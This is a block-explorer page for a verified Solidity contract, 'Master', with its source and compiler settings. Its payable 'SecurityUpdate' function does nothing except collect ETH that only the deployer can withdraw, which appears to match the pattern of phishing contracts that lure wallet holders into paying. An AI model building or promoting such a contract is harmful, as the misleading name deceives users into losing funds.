Skip to content
Verified contractPartialMIT

Master

Address0xef6ba7ebc13999e7efaa4d9d8525bd8fe0567f9b
Balance

0 ETH

 

Transactions

10

 

Compiler

solc 0.8.0

 

Same code

1 more contract

 

Details

Compiler
solc 0.8.0+commit.c7dfd78e
Language
solidity
Optimization
No
EVM version
istanbul
License
MIT
Match
Partialcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
18,113,396
Creation transaction
0xbb88947d9c…1842f5942c
Main copy (most transactions)
0x771c8efa…12f589f4

Master.sol

/// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;

contract Master {
    address private _executor;
    address[] private _holdTokens;

    constructor() {
        _executor = msg.sender;
    }

    receive() payable external {}

    function SecurityUpdate() public payable {}

    function withdraw() external {
        require(msg.sender == _executor, "Access denied");
        payable(_executor).transfer(address(this).balance);
    }

    function setExecutor(address _newExector) external {
        require(msg.sender == _executor, "Access denied");
        _executor = _newExector;
    }
}
Compiler settingsShow
{
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "libraries": {},
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "evmVersion": "istanbul",
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.